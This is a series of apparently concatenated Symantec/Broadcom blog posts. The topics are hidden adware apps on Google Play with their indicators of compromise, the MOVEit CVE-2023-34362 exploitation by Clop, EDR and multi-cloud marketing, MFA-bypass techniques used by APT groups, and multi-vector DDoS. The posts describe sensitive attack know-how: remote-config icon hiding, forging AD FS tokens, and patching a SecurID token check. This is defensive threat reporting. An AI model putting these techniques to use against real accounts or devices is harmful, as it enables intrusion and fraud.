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More Hidden App Malware Found on Google Play with over 2.1 Million Downloads
Malicious apps hide themselves after installation and aggressively display full-screen advertisements.
In recent times we’ve seen multiple malicious apps found in the Google Play Store by various cyber security firms, including Symantec, yet this problem doesn’t seem to be dissipating. We have uncovered another wave of malicious apps in the Play Store which have been downloaded more than 2.1 million times. We reported these apps to Google on September 2, 2019, and they were removed from the store.
A total of 25 Android Package Kits (APKs), mostly masquerading as a photo utility app and a fashion app, were published under 22 different developer accounts, with the initial sample uploaded in April 2019. These 25 malicious hidden apps share a similar code structure and app content, leading us to believe that the developers may be part of the same organizational group or, at the very least, are using the same source code base.
Figure 1. Hidden app malware on Google Play
Remote configuration file
When first installed, the app’s icon is still visible on the device, enabling the user to open and interact with the app normally. However, unbeknownst to the user, a request is made in the background via a third-party service to download a remote configuration file.
Figure 2. Partial extract of malware’s code shows how configuration file is requested
We intercepted the configuration file and spotted several different configurations including one that can toggle the app’s icon-hiding behavior, as well as other advertisement-related settings. For other APKs, the icon-hiding and advertisement-displaying behavior was disabled.
Figure 3. Partial extracts of configuration files downloaded from remote server containing multiple name-value pairs, showing true (left) and false (right) for icon hiding and other advertisement related configurations
Once the configuration file is downloaded, the malware extracts the settings and applies them. From the malware code, we can see that keywords, such as “app_hideIcon” in the case of the icon-hiding feature, are encoded and encrypted. Various encryption keys and initialization vectors (IV) were used across all 25 APKs we found on Google Play (see Figures 4 and 5), which we believe is an effort on the malware authors’ part to avoid rule-based detection by antivirus scanners.
Figure 4. Encryption key (SystemServer Palau) and IV (ViewsAfghanistan) used in com.palau.guam.fashion.hairstyles.pic.editor APK
Figure 5. Encryption key (I AM FINE) and IV (AreYouOkThankYou) used in com.amazing.photo.cutout APK
When a string—let’s use the icon-hiding string app_hideIcon as an example again—is decoded and decrypted, it is checked against the key in the configuration file. Then, if it matches, the corresponding value in the configuration file is used to determine if the app icon should be hidden. The setting setComponentEnabledSetting() is called to hide the app’s icon if the value of app_hideIcon is set to true.
Figure 6. The app’s icon is hidden using setComponentEnabledSetting()
Once the app’s icon is hidden, the malware begins displaying advertisements, which are shown even when the app is closed. Full-screen advertisements are displayed at random intervals with no app title registered in the advertisement window, so users have no way of knowing which app is responsible for the behavior.
Monetary gain from advertising revenue is likely the motivating factor behind these apps. Thanks to the apps’ ability to conceal their presence on the home screen, users can easily forget they downloaded them. As such, the malware authors can freely and aggressively display advertisements to users, with minimal evidence leading back to them.
Figure 7. Hidden app malware displays advertisement in full screen (left). No app title can be seen when the advertisement is minimized in the App Switcher view (center), as compared to when an app title is displayed to allow app identification (right).
Out of the 22 developer accounts used to publish these apps, we spotted one developer named Burnerfock had published two identical apps named Auto Blur Photo with the same icon and title. However, only one of these apps carried out the previously described malicious behavior. The other sample was free of malicious code and was present in Google Play’s Top App Charts in the Top Trending Apps category, ranking number 7 on the list. We believe that the developer deliberately creates a malicious copy of the trending app in the hope that users will accidentally download the malicious version.
Figure 8. Two similar apps published by Burnerfock, one malicious and one clean. The clean sample (left) was ranked by Google as #7 in the Top Trending Apps category.
Unlike the previous hidden app malware we discovered, this batch does not have the icon-hiding function hardcoded in the APK. Instead, the switch is controlled remotely via the downloaded configuration file, allowing the malware developer to evade Google Play’s rigorous security testing.
Protection
Symantec and Norton products detect these malicious apps as:
Android.Reputation.1
Mitigation
Stay protected from mobile risks and malware by taking these precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Install a suitable mobile security app, such as Norton or Symantec Endpoint Protection Mobile, to protect your device and data.
Make frequent backups of important data.
Indicators of Compromise
Hashes Package Developer Download Count
cf334618c708e35294430dcd0233373df334e7b1d2c250baa719de3ca5740140 com.acaleph.octopus Kulomylong 500,000
1f083fe5d5eb53bc5fa417283b0992b426bff66a917f878e97216ba6588f2004 com.flatfish.soldiercrab.autoblur.photo Burnerfock 100,000
0441c5d74fd702a4533006e951df4f0af17b0d7571933289044637807e1dba57 com.jordan.iraq.blur.image.pro Fisher Dev 100,000
3e045e098c26889acf0cd5283a9d06e0cea97a161c31d23f3fe493d396a710df com.hammergod.picture.photo kenneth Ortiz 100,000
fbb334a8dedbc84e4ce9b48606df9e2bfde35ee38ea01bfc489ca25784c35684 com.yongdegree.face.feature Fater Dev 100,000
0dcfc4612f76755ebaf67c41dc8a64255d3df78e7e8862349ced602fe57175c9 com.palau.guam.fashion.hairstyles.pic.editor Goveroy Dev 100,000
d71fadd872120ea5787964bf66bf8b873e06ff2bd51097ded4b204418fdcbcdc com.kiribati.zowbat.image.blur.editor.free Setperal 100,000
1e93f794dbd0ceca72c14b76a448b6bad83ab9b496449ddb307e10bb3c0e0596 com.pottwal.bowhead Kensendy 100,000
6eb5e782e8eecdf85e789d679965711737b700a9f9d0e0f76314d34914908430 com.maxwell.photocutpro WWL Dev 100,000
3211609433478c95b32ba71a0e91c9c6557e1b8df4d17d000ba0f2619b93db99 com.yasuo.art Magicalla Studio 100,000
fd6fe195c193e4d4fb4d0cd616375a2a0e53eb82b72f339c7b7feb2a7926e2ef com.estonia.brunei.fashion.hairstyles.pic.editor2019 Digtal Dev 100,000
b0f4733366271483976c22a8198a4578ee1ccf8ab782d287c6255154ec36cc9c com.rwanda.seychelles.latest.hairstyles.free Lyynforture 100,000
e3422e09f19266fdc6e669b1ebad105c655a97062081cddc9243e008100a6ca0 com.positive.photo.collage Lyynforture 100,000
b04bfcdb00e27f5a3818b564150dbba04ac42eec92b15f2e9db9084f0c822851 com.gayligayqi.cut.photo.editor Superjunia 100,000
27cce7478dbe8829bfe114c1b41d57305a62efdbd12333949a6711895964a1ea com.cyprus.ghana.blur.image.plus Past Dev 100,000
f168e313f02255d5d635a9fa4634c1aa4809917684602fadb561e27de00785e7 com.jiajia.autocut.photo OOI Dev 100,000
7b49250a56dae52dc23cb88d590525761b3c0c4acc17f73911b4dc6e7e11cdc3 com.hanroom.cutbackground Richard Media Studio 50,000
a9c1e1c2e70db3df390ec88d2729208aba41af30b04a44d13b4bd4f525fb90bc com.oman.mayotte.hairstyles.photo.editorplus FFmore Dev 50,000
f2f9fa37ef6c1681a54da31a9e450dd85653a4ca61c4c16eb58f1f401172d01f com.amazing.photo.cutout Sistermopub 10,000
3ecfd97550f8928acae04b13b608b9c8b7080f7ac59b79b45c7f273cff3e7d76 loop.photo.com.photoloop Sistermagci 10,000
92239c6590adc226ca70682e349dab78b8e6448ed70fa0a30548b4d2fae3b9ea com.pop.color Pumana Dev 10,000
ba8b26106d5b2d74abeeb62ffbbdbc6b80e80bf7add86a2af57e96dfd6917586 com.sky.camera.pro.skycamerapro HCamera Studio 10,000
9135a41d998864db84cfa98734e23bb94e71d9f8614f72d3d795a718c8ea821e com.seisikou.photobackground Flydog Dev 1,000
2fb85618bfff2afda9f665177f9ef2bee208f8ba9ba87cdfee02f22ca5a19c22 com.kiribati.jordan.blur.image.plus Past Dev 5
492f386f1e8a6a8be47bb920641d7c820a2aabb34f54e1cdfa08f1aad2ffb59b com.fiji.brunei.photo.blur.background.maker2019 Goulmook Dev 1
Symantec Enterprise Blogs
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2 MIN READ
Hidden App Malware Found on Google Play
The 38 applications hide their presence on devices while they perform their malicious activity.
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MOVEit Vulnerabilities: What You Need to Know
Symantec products guard against exploitation of vulnerabilities that are being actively exploited by cyber-crime actors.
Extortion actors have been actively exploiting a recently patched vulnerability in MOVEit Transfer, a file-transfer application that is widely used to transmit information between organizations. The nature of the software affected means that attackers can exploit unpatched systems to mount a supply chain attack against multiple organizations. While the original vulnerability (CVE-2023-34362) was patched on May 31, MOVEit Transfer’s developers announced on Friday (June 9) that multiple additional vulnerabilities (CVEs pending) have also been identified and patched.
Prior to its patching, attackers linked to the Clop ransomware operation were already exploiting CVE-2023-34362 as a zero-day vulnerability. Proof-of-concept code for the exploit is now publicly available, meaning other attackers are now likely to attempt to exploit unpatched systems.
What is MOVEit Transfer?
MOVEit Transfer is a managed file-transfer application developed by Progress Software. It is designed to permit secure transfer of files between businesses and their customers.
What is the nature of the vulnerability?
The original vulnerability (CVE-2023-34362) occurs in the MOVEit Transfer web application. It affected all versions prior to 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1). “[An] attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or delete database elements,” Progress said.
For how long was the vulnerability being exploited before it was patched?
According to a U.S. government advisory, active exploitation appears to have begun on May 27, 2023.
How has the vulnerability been exploited to date?
The vulnerability is being actively exploited by the Clop ransomware operation. According to a joint advisory issued by the U.S. Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA), the attackers exploited the vulnerability to install a web shell called Lemurloot (JS.Malscript!g1) on affected systems. This was then used to steal data from underlying databases.
Lemurloot was designed specifically to target the MOVEit Transfer platform. It authenticates incoming HTTPS requests via a hard-coded password; runs commands that will download files from the MOVEit Transfer database; extracts its Azure system settings; retrieves records; and can create, insert, or delete a particular user. When responding to a request, Lemurloot returns stolen data in a comfile format.
Shortly after the disclosure of the vulnerability, attackers linked to the Clop ransomware operation claimed responsibility for the attack and said that they had stolen data from multiple MOVEit users and their customers. It threatened to release the stolen data unless a ransom is paid.
What is known about Clop?
Clop is an extortion and ransomware operation run by a cyber-crime group known as Snakefly (aka TA505, FIN11). While the group initially extorted victims by encrypting files using its own ransomware payload (Ransom.Clop), in recent times it has been known to eschew encryption entirely and rely on the threat of leaking stolen data to extort its victims.
The group has a track record in exploiting zero-day vulnerabilities. In 2021, it was linked to the exploitation of multiple vulnerabilities in Accellion FTA, another file-transfer application. Earlier this year it was responsible for exploiting a zero-day vulnerability (CVE-2023-0669) in the GoAnywhere MFT platform.
How do Symantec products guard against exploitation of this vulnerability?
Symantec products will guard against exploit attempts and payloads with the following detections:
File-based
JS.Malscript!g1
Trojan Horse
Trojan.Gen.2
Trojan.Gen.NPE
Trojan.Malscript
Trojan.Webshell
WS.Malware.1
WS.Malware.2
Machine learning-based
Heur.AdvML.C
Network-based
Attack: MOVEit Transfer RCE CVE-2023-34362
Policy-based
Data Center Security (DCS) default hardening policies such as sym_win_hardened_sbp provide 0-day protection for CVE-2023-34362. DCS policy control "Software Install Restrictions" for MS SQL, MS IIS and other hardened application sandboxes stop Clop ransomware from exploiting this vulnerability by preventing arbitrary deployment of webshells and unauthorized software.
Web-based
Observed domains/IPs are covered under security categories.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
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Moving Beyond Traditional EDR
New times and new threats require a new approach in the way that organizations respond to threats
Cyber security often gets likened to an arms race between defenders and attackers, one side scrambling to gain advantage over the other. This competition has been on full display the last five years as organizations began to adopt Endpoint Detect and Response (EDR) solutions.
EDR emerged as a response to the increasing sophistication of cyber threats from attack groups, who began conducting more targeted attacks using tools already available on computers and leveraging scripts and shell code that run directly in memory.
This so-called ‘living off the land’ approach to incursion and lateral movement within a customer environment made it harder for organizations to detect attackers. Intruders created fewer files during the attack lifecycle, keeping most of the attacker’s tactics and techniques hidden in normal activity.
Traditional EDR tools have done a good job creating more visibility into stealthy threats and improved some aspects of remediation. At the same time, however, they have also failed to address several key challenges for customers who now face a huge surge in targeted attacks. What is needed is a more complete approach to detection, investigation and response so organization can take a proactive approach with advanced EDR capabilities and scalable managed EDR.
Real, Actually Useful Detection
It is not enough for EDR tools to leave it to the investigator to sift through mountains of cyber data. Even the best threat hunters need support in the form of detection of advanced attack techniques, analytics that discover anomalous activity and outliers, and AI-driven analytics that benefit from the combined telemetry of thousands of customers across millions of endpoints. Tools that generate events and incidents with high false positive rates drain the resources of already strained security teams.
Rinse and Repeat
Incident responders, threat hunters and forensic experts need to be able to automate best practices, like the ones detailed in the MITRE Cyber Analytics Repository. In addition, SOC teams need to build up their own libraries of investigation workflows so responders at all levels can benefit from the expertise of the best SOC analysts. And automating repetitive tasks boost productivity for the entire team.
Help Wanted
Customers also face a severe cyber security talent shortage that makes it difficult to hire and retain skilled investigators and threat hunters. The ability to easily fortify existing SOC teams and add critical expertise to fill skills gaps and ensure 24 x 7 coverage improves retention and helps security teams focus on high priority incidents and initiatives. And many organizations want the option of a fully-managed EDR with dedicated SOC analysts. When it comes to leveraging managed EDR, scale and experience matters. Comprehensive support from an MEDR provider requires a globally available team of hundreds of highly-trained SOC analysts with extensive expertise by region and industry. This deep expertise enhances the effectiveness of proactive threat hunting, forensic investigations and speeds the response to emerging and off-hours attacks.
Pre-breach or Post-breach, Why not both?
Traditional EDR tools have either focused on pre-breach or post-breach capabilities but, organizations need both to address current and emerging threats. Customers require an EDR tool and managed EDR service powered by advanced tools for pre-breach and post-breach scenarios.
Symantec EDR solution
Symantec addresses all these challenges by integrating an advanced EDR product and a
fully-managed EDR service that organizations can easily combine for increased security effectiveness. What’s more, Symantec has infused its EDR solution with the expertise of our elite attack researchers and global team of skilled SOC Analysts that ensure increased visibility into threats and precision detection of attacks.
Symantec Endpoint Detection and Response 4.0 includes:
Over 300 advanced attack detections ensure exposure of living off the land attack methods including MITRE Cyber Analytics.
Identify active adversaries with Targeted Attack Analytics that leverage advance machine learning and global intelligence.
Pre-built automated playbooks allow teams to quickly initiate cyber security function and leverage expert investigation methods.
Create custom playbooks that capture the investigation methods of experience responders, run these playbooks as custom alerts.
MITRE ATT&CK enrichment exposes gaps in attack lifecycle to highlight security risks and simplify security improvements.
Advanced pre-breach and post-breach tools ensure high levels of productivity for all analysts, from entry level all the way to advanced IR analysts.
Supports flexible deployment options across cloud, on-premises and hybrid for macOS, Linux and Windows systems; SEP and non-SEP endpoints.
Symantec addresses all these challenges by integrating an advanced EDR product and a
fully-managed EDR service that organizations can easily combine for increased security effectiveness.
Symantec Managed Endpoint Detection and Response includes:
Expert Symantec SOC analysts are assigned to every customer based on industry and region, addressing in-house skills gaps and providing critical off-hour support with 24x7 coverage across six global SOCs.
Managed threat hunting detects stealthy and previously unknown attacks by analyzing security logs through Symantec SOC Technology Platform big data analytics and correlating findings with the Symantec Global Intelligence Network.
Threat hunts are based on emerging IoCs and TTPs using the MITRE ATT&CK framework, all enhanced with human analysis
Critical indicators of an attack across on-premises and cloud endpoints are skillfully investigated by Symantec SOC analysts who quickly understand and act on threats
Symantec SOC analysts address attacks by containing compromised endpoints via pre-authorized measures (using Symantec EDR via a single agent with Symantec Endpoint Protection).
MEDR provides white-glove, rapid onboarding and continuous SOC team engagement via custom monthly reports, regular business reviews, Emerging Threat Reports, and 24x7 access through phone, portal, email and online chat functions.
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Multi-Cloud is the Future of Enterprise
Broadcom: 2023 Tech Trends That Transform IT
This is a continuation of Broadcom’s blog series: 2023 Tech Trends That Transform IT. Stay tuned for future blogs that dive into the technology behind these trends from more of Broadcom’s industry-leading experts.
Multi-cloud is the future of enterprise IT. The evidence is overwhelming.
A recent report reveals that more than 80 percent of enterprises surveyed have a multi-cloud strategy and nearly that number (78 percent) already have workloads deployed in more than three public clouds. Enterprises are realizing the need to customize their cloud infrastructures to better fit their business needs. The continuing acceleration of that customization in the year ahead is why multi-cloud is one of the top technology trends transforming technology in 2023.
The reasons are not hard to discern. As organizations continue transitioning their networking and IT infrastructures to cloud, it is becoming hard to ignore the opportunities and benefits of a multi-cloud environment. A multi-cloud approach allows the flexibility to manage and protect data across different environments – private, public, and sovereign – as needed. Maintaining this freedom, choice, control, and agility is crucial for future growth and critical for maintaining compliance with regulatory and statutory requirements for enterprises operating at global scale.
As organizations continue transitioning their networking and IT infrastructures to cloud, it is becoming hard to ignore the opportunities and benefits of a multi-cloud environment.
Another factor contributing to multi-cloud deployments is evolving regulatory compliance, which is accelerating the sovereign cloud—a cloud environment housed within the jurisdiction. Europe has strict regulations that you’ve likely heard of, such as EBAG, DORA, IDT, and now recently introduced: ECR, the European Cyber Resilience Act. Multi-cloud deployments allow full flexibility to adjust to changes to regulatory changes.
And a final factor contributing to multi-cloud deployments is a business-driven initiative to accelerate the reduction of how many data centers a business is running. By consolidating and reducing the number of data centers, businesses set themselves up to quickly deliver on evolving customer and market demands through technology, especially technology bolstered by artificial intelligence. Businesses want to move quickly and effectively to the cloud, while managing costs and risks, without having to refactor their entire workload—especially back-end platforms and solutions that have been working well for decades.
One Size Does Not Fit All
There are several reasons why this trend to multi-cloud will accelerate in 2023. The reality is that being locked into a single cloud vendor, or a single type of cloud infrastructure does not offer the flexibility needed to control costs, maintain control over information, or the agility necessary to operate successfully in a world already growing bigger in providers– and evolving types – of clouds.
A multi-cloud environment avoids these pitfalls while enhancing the capabilities to move across public cloud, data centers, and edge infrastructures. Multi-cloud is also cost-effective. It provides enterprises with the freedom to select the best products and services for their business needs. In short, multi-cloud will become the inevitable, as well as ideal cloud networking environment for managing and supporting the decentralized and distributed resources, assets, services, and workforces that compose the real-world reality of our post-pandemic digital age.
A Shifting Conversation
Another key driver of this trend in 2023 will be the transition of talking about cloud from a technology discussion to a business outcomes conversation. Rather than enterprises reinventing the wheel each time to create their own cloud, there is a growing awareness that time to value can be greatly accelerated by sharing key components of multi-cloud infrastructures. Key to this business-driven discussion is the acceptance and evolution of the idea some call industry cloud platforms or vertical industry clouds. These are multi-cloud infrastructures with built-in, modular functionality tailored to a specific vertical industry.
Vertical industries such as banking, healthcare, Telco, and manufacturing will lead this movement. It will allow them to share an agile platform already supported by a portfolio of baked-in, industry-specific, prepackaged business capabilities directly relevant for their individual industries. These modular components can then be easily customized or swapped in-or-out to fit the individual organization’s business operations or needs. It is this understanding that will shift the cloud conversation away from technology-first discussion to that of business outcomes first for its obvious potential value as a platform and driver of new business innovation.
Adopting a business or industry multi-cloud model will also speed the transition to cloud for many organizations.
Think of these multi-clouds as providing prefabricated industry-specific Lego pieces containing key functions that can be assembled or composed the way a customer wants or needs. Another way is to think of them as providing a cloud platform containing the kinds of built-in, but customizable capabilities a top CRM provider or HR software provider offer their customers. But on a much grander scale that goes far beyond any single vertical Software-as-a-Service (SaaS) solution.
Only multi-cloud infrastructures offer this kind of industry-specific or vertical cloud platform adaptability. Multi-cloud allows enterprises to make the leap from the cloud services with which we are all familiar to creating new cloud platforms with the agility to far more easily and quickly be adapted to new business opportunities, changing business circumstances, or technology innovations.
Adopting a business or industry multi-cloud model will also speed the transition to cloud for many organizations. It will allow those organizations to take advantage of the plug-and-play aspects of a multi-cloud’s prepackaged, modular components.
The Future in Multi-Cloud
Industry-model multi-cloud infrastructures will offer many enterprises the best solution for a decentralized networking environment. The benefits of these industry-specific clouds include:
More adaptability
More business functionality
More innovation
Multi-cloud is the future of enterprise IT. And when integrated with sovereign cloud, multi-cloud will allow organizations to deliver differentiated services at scale while remaining secure and in compliance with regulatory frameworks around the globe. Enterprises recognize that because of this, multi-cloud will help their organizations deliver stronger business value. It is the reason enterprises are accelerating their transition to multi-cloud infrastructures this year and why it is a top trend transforming IT in 2023.
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Multi-Factor Authentication: Headache for Cyber Actors Inspires New Attack Techniques
Two-factor or multi-factor authentication is used to secure organizations and accounts from attackers, making it a problem for malicious actors. Recent attacks show how they are attempting to bypass or avoid it completely.
In recent years two-factor or multi-factor authentication (MFA) has been touted as the way to protect your personal and business accounts from attack. This led to the wide adoption of MFA - from corporate accounts to social media profiles, almost all provide the option of enabling MFA, with many requiring it.
This means that, for attackers, stealing credentials or brute forcing passwords is no longer enough - if they don’t have access to victims’ multi-factor access token or code they will still not be able to access their accounts. The increasing use of MFA means that attackers have had to endeavor to find ways to bypass it, or avoid carrying out attacks that may be stalled by it. When we look at recent high-profile attacks, such as SolarWinds, the Microsoft Exchange Server ProxyLogon attacks, and the vulnerabilities found in Pulse Secure VPN recently, all these attacks help attackers avoid the hurdle of needing to overcome MFA.
While MFA has perhaps only gained wide adoption in the last couple of years, attacks attempting to bypass MFA date as far back as 2011, when RSA Security was forced to replace 40 million SecurID tokens - which were used for MFA at the time - after the company was hacked.
However, recently, there have been some more notable examples of attacks that attempt to either bypass MFA, or eradicate the need to bypass it at all, with five of these outlined in this blog.
Recent zero-day vulnerability in Pulse Secure VPN (CVE-2021-22893)
On April 20, 2021, Pulse Secure published an advisory warning about a zero-day remote code execution vulnerability in its popular VPN product. On the same day, FireEye published a blog detailing how the vulnerability (CVE-2021-22893) was being exploited by a China-linked APT group it tracks as UNC2630. FireEye said this group was attempting to leverage the vulnerability in attacks targeting defense industrial base (DIB) targets in the U.S.
This new vulnerability was exploited, alongside a number of known Pulse Secure vulnerabilities, as the initial infection vector in these attacks. FireEye said that at least 12 malware families have been associated with exploit attempts against vulnerabilities in Pulse Secure. The malware was associated with what appears to be three threat actors, with attacks taking place in organizations in the U.S. and Europe.
The UNC2630 activity that was analyzed by FireEye demonstrated that successfully exploiting this vulnerability in the VPN software allowed attackers to Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multi-factor authentication requirements. FireEye said it was tracking this activity as SlowPulse. The attackers were also able to maintain persistence, inject web shells, and modify files.
VPNs became a very popular target for hackers over the last year, as increased working from home due to the pandemic meant that workers were increasingly using VPNs to log into their corporate networks. If an attacker is able to compromise the VPN software - through a vulnerability like this - it negates a need for them to acquire anything more in the line of multi-factor authentication.
A patch for this bug was issued on Monday (May 3), and all users of Pulse Secure should apply it quickly.
Symantec has released Hacktool.Webshell and Hacktool.Atrium to block files believed to be related to this vulnerability.
Microsoft Exchange Server (ProxyLogon) attacks
On March 2, Microsoft released emergency patches for four zero-day vulnerabilities in Microsoft Exchange Server that were being actively exploited by attackers in the wild. At the time, Microsoft said these vulnerabilities were being exploited by an APT group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, it quickly became apparent that multiple threat actors had started exploiting these vulnerabilities, with numbers rising rapidly once the existence of the vulnerabilities became public knowledge.
Two of the vulnerabilities (CVE-2021-26855 and CVE-2021-27065) and the technique used to chain them together for exploitation were given the name “ProxyLogon”. Successful exploitation of these vulnerabilities allowed unauthenticated attackers to execute arbitrary code on vulnerable Exchange Servers, allowing them to gain persistent system access, access to files and mailboxes on the server, and access to credentials stored on the system. Successful exploitation may also allow attackers to compromise trust and identity in a vulnerable network. This gives attackers extensive access to infected networks, allowing them to steal potentially highly sensitive information from victim organizations, without the need to bypass any multi-factor authentication steps. In several instances the threat actors using these vulnerabilities were seen stealing emails from victim inboxes.
To learn how Symantec helps protect you from these attacks, read our blog: How Symantec Stops Microsoft Exchange Server Attacks
SolarWinds
The SolarWinds attacks were uncovered in December 2020, and have rarely been out of the headlines since, with the U.S. recently announcing that it would be imposing sanctions against Russia as a response to the SolarWinds breach, as well as a number of other cyber attacks. The statement from U.S. officials said they had “high confidence” that the SVR, the Russian Foreign Intelligence Service - also known as APT29, Cozy Bear, The Dukes - was responsible for the SolarWinds attack.
The SolarWinds incident is believed to have started in around March 2020, with any user of SolarWinds Orion software who downloaded an update between March and December 2020 believed to have become infected with the first-stage malware, Backdoor.Sunburst. The initial infection of victims was indiscriminate, but only a small number of those who downloaded the initial compromised update saw additional malicious activity on their networks.
The motivation of the SolarWinds attackers was always believed to be information stealing, with email appearing to be an area of particular interest to them. The attackers were also seen using various techniques to bypass MFA in the course of their attacks. In one incident, security firm Veloxity said it saw the attackers using a novel technique to bypass 2FA provided by Duo, though the same technique would likely bypass MFA from any provider that requires integration secrets stored in the potentially compromised environment. After gaining administrator privileges on an infected network, the hackers used those rights to steal a Duo secret known as an “akey” from a server running Outlook Web App (OWA), which enterprises use to provide account authentication for various network services. The hackers then used the “akey” to generate a cookie, so they’d have it ready when someone with the right username and password would need it when taking over an account.
In another report, FireEye described the techniques it saw the attackers using. Among the techniques FireEye saw were:
Attackers stealing the Active Directory Federation Services (AD FS) token-signing certificate and using it to forge tokens for arbitrary users, which would allow the attacker to authenticate into a federated resource provider (such as Microsoft 365) as any user, without the need for that user’s password or MFA.
Modifying or adding trusted domains in Azure AD to add a new federated identity provider (IdP) that the attacker controls. This would allow the attacker to forge tokens for arbitrary users.
Compromising the credentials of on-premises user accounts that are synchronized to Microsoft 365 and are assigned high privileged directory roles, such as administrator.
Hijacking an existing Microsoft 365 application by adding a rogue credential to it in order to use the legitimate permissions assigned to the application, such as the ability to read email, send email as an arbitrary user, access user calendars, etc., while bypassing MFA.
Attackers know they need a way to bypass or avoid MFA altogether if they want to access victims’ email accounts, which still appears to be the goal of many sophisticated attackers, including state-sponsored actors like those behind SolarWinds.
Read all our SolarWinds research, and how Symantec helps protect you, on our dedicated blog page.
Hackers targeting Iranian dissidents seek to steal 2FA text codes
In September 2020, Check Point published research on the Rampant Kitten hacking group, which it said had developed a new Android malware that was capable of intercepting and stealing 2FA codes sent via text. It is known that text 2FA is significantly less secure than using an app or token - as tactics like SIM swapping (where a malicious actor gains access to your phone number) would allow codes to be intercepted - and many security experts think neither organizations nor individuals should be using this kind of 2FA if there is another option.
Check Point said Rampant Kitten’s surveillance campaign had been ongoing for as long as six years, targeting dissidents and minorities in Iran. The malware was hidden inside an app that purported to be designed to help Iranian citizens get a Swedish driver's license. However, as well as harvesting contacts, old text messages, and recording using the microphone, the malicious app was also designed to look for SMS messages that contained a "G-" string, which is a prefix used by Google as part of the two-factor authentication process. The attackers would send phishing messages to victims in order to harvest their credentials, and would then also be able to access their 2FA codes and gain access to their accounts. The malware also forwarded all text messages to the attackers, meaning they could bypass 2FA for any other apps or services using text message 2FA too.
Chinese attackers attempting to bypass 2FA
Back in 2019, FOX-IT blogged about a Chinese state-sponsored group - APT20 - that was bypassing 2FA in its attacks. FOX-IT had been monitoring the attacker’s activity over a period of two years, stating that it used living-off-the-land techniques to maintain a stealthy presence on victims’ networks in order to siphon off data for the purposes of espionage. FOX-IT found evidence the attackers had connected to VPN accounts that were protected by 2FA, with the researchers theorizing that they did this by stealing an RSA SecurID software token from a hacked system, which they then used to generate valid one-time codes and bypass 2FA at will.
As FOX-IT explained at the time: “The software token is generated for a specific system, but of course this system specific value could easily be retrieved by the actor when having access to the system of the victim.
“As it turns out, the actor does not actually need to go through the trouble of obtaining the victim's system specific value, because this specific value is only checked when importing the SecurID Token Seed, and has no relation to the seed used to generate actual two-factor tokens. This means the actor can actually simply patch the check which verifies if the imported soft token was generated for this system, and does not need to bother with stealing the system specific value at all.
“In short, all the actor has to do to make use of the two-factor authentication codes is to steal an RSA SecurID Software Token and to patch one instruction, which results in the generation of valid tokens.”
Worrying trend
While it has been known for some time that some advanced persistent threat (APT) groups and sophisticated actors were able to bypass MFA in some instances, the recent sophisticated attacks that appear to have bypassing these kinds of protections as one of their main goals provides a reminder no single solution is sufficient.
Fortunately, these attacks also show MFA is working as attackers need to go to great lengths to find alternative means to breach MFA-protected organizations. Organizations should take additional steps to increase protection, such as:
Auditing login and Active Directory events
Reviewing and reducing services and accounts that do not require MFA
Keeping up to date on patches for any discovered vulnerabilities
Considering a threat model where MFA may be bypassed or on-site secrets may be compromised
Expanding their zero trust architecture beyond simple 2FA.
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Multi-Vector DOS Attacks Turning into the New Normal
Attackers hammer the front door, while sneaking more surreptitious denial-of-service attacks through the mail slot
The attacks often start with an oldie but goodie: A flood of SYN packets requesting access to a particular server.
Magnified by bouncing traffic from intermediate systems—in what is known as an amplification attack—the flood of data's bandwidth climbs, quickly exceeding 10Mbps in about 10 percent of cases. Such an obvious threat gets the attention of the incident response team, who scrambles to shut down the attack and filter out the bad packets.
Yet, in all the noise, a few packets sneak by the defenses: Requests to the web server are often used. These application-layer attacks are aimed at hitting the web servers, causing them to crash.
Welcome to the current state of denial-of-service attacks: The use of multiple techniques of DDoS attacks to get around current defenses. These sorts of multi-vector attacks have become a common strategy among attackers.
The attacks end as they begin: Quickly. Within a few minutes, for the average attack, the flood slows, and then stops. The operations team reboots the server, causing minutes of downtime, if not longer. Soon after, another attack will target the system, repeating the cycle.
The overall strategy is to keep incident responders off balance. Companies that protect the edge of their network with a DDoS mitigation service will find application-layer attacks sneaking in to crash certain servers. Companies that focus on filtering out malicious packets will find themselves overwhelmed by amplification attacks.
Attackers are often changing methods mid-step, using several different types of packets simultaneously. So even if you do adapt, that expends more labor as an organization’s incident response time takes more time.
A common combination of attacks is using some mix of amplification and more traditional attacks. The single, large, one-off attack is quickly becoming extinct with companies suffering multiple network-layer attacks and, increasingly, more than one application-layer attack. Meanwhile, the challenge becomes that much more fraught as victims also have to deal with legitimate answers from legitimate services, which causes even more confusion.
The Mirai botnet is fueled by a program that has more than 10 different types of denial-of-service attacks, which attackers can chain together to confuse defenders. With the source code in the public domain, anyone with the wherewithal can quickly compromise thousand or tens of thousands of Internet-of-Things devices and send a custom flood of data at their target, said Eric Chien, technical director with Symantec.
Gamers, a big source of denial-of-service attacks, are combining attacks using off-the-Internet software or services to take down their online rivals. While the attacks are fairly simple, combining them is more effective.
"These attacks are not necessarily tailored in the sense of reverse engineering the game protocol," Chien said. "They are tailored in the sense that they are hitting a particular, known game server."
There are a variety of common mixes of attacks, according to Nexusguard.
Creating a blended UDP flood and using amplification by sending requests to Network Time Protocol (NTP) servers, results in large bandwidth responses sent to the targeted IP address.
Other attacks may use internet-of-things devices to send large bandwidth floods at specific targets and then use a subtler attack to accomplish the primary goal—whether interrupting service or some other form of attack.
"Poor security on many IoT devices makes them soft targets and often victims may not even know they have been infected," according to the Symantec advisory following last year's massive Mirai attacks. It noted that, "attackers are now highly aware of lax IoT security and many pre-program their malware with commonly used and default passwords."
Defending against multi-vector attacks will require a multi-threaded approach that can handle both application-layer and network-layer attacks. In addition, companies will need to have a well-trained DDoS incident response team, or such a team on call. Increasingly, this is becoming the new normal.
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My VMware Explore Experience
VMware Explore 2022
This morning I enjoyed experiencing the General Session at VMware Explore US. There was compelling content and tremendous energy in the room coming from the entire VMware community. I’m confident that attendees will benefit from the rest of the event and all that VMware Explore has to offer.
VMware’s Innovation News
As part of Explore, VMware announced a series of new innovations for its Cloud & Edge Infrastructure, Anywhere Workspace, and Cloud-Native applications and management platforms.
